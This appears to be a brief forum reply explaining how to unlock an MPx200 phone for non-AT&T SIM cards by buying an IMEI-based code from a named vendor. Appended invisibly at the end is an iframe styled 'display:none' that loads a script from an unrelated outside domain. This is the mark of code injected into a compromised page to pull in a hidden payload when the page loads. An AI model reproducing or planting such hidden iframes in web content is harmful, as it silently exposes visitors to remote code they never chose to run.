All you need is your IMEI number which is located on a sticker on the original box or under the battery, on a sticker, along with the ESN and HEX numbers.

Then contact Adam Roth at GSMPhonesource.com, give him the IMEI number and $20 and he will send you a code.

On the phone, if you insert a non AT&T SIM, it will come up with a screen asking you to input a network unlock code ( 8 digits for the MPx200) This is where you enter the code Adam will provide. Then all you have to do is set up all of your non AT&T settings (WAP, GPRS, etc...). The phone and all of the organizer functionality will work as soon as you enter the unlock code.

Let me know if you have any other questions.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>
